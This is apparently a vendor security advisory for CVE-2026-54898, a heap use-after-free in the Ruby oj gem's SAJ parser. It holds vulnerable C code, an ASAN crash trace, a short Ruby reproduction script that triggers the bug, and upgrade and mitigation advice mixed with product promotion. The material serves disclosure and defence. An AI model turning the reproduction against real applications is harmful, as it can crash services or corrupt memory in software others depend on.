CVE-2026-54898
CVE-2026-54898 is a Use After Free vulnerability in oj. O3 Security confirms whether CVE-2026-54898 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54898.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
ojReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/parser.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/parser.c, parser_parse → parse:
static VALUE parser_parse(VALUE self, VALUE json) {
const byte *ptr = (const byte *)StringValuePtr(json); // raw pointer into Ruby string
// ...
parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer
}
// parser.c:607
static void parse(ojParser p, const byte *json) {
const byte *b = json;
// ...
for (; '\0' != *b; b++) { // ← UAF: reads freed memory after callback resizes json
Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.
ASAN report:
==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81
READ of size 1 at 0x51900008ed81 thread T0
#0 parse /ext/oj/parser.c:607
#1 parser_parse /ext/oj/parser.c:1408
0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)
freed by thread T0 here:
#0 free
#1 ruby_sized_xfree (libruby-3.3.so.3.3)
Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed)
Reproduce
require 'oj'
class Mutator
def initialize(json) = (@json = json; @done = false)
def hash_start(key)
return if @done; @done = true
@json.replace('x' * 1_000_000) # triggers String realloc, frees original buffer
end
def hash_end(key); end
def array_start(key); end
def array_end(key); end
def add_value(value, key); end
end
json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}'
parser = Oj::Parser.new(:saj)
parser.handler = Mutator.new(json)
parser.parse(json)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | oj | all versions | 3.17.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for oj. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update oj to 3.17.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54898 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-54898 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-54898. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-54898 in your dependencies?
O3 detects CVE-2026-54898 across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.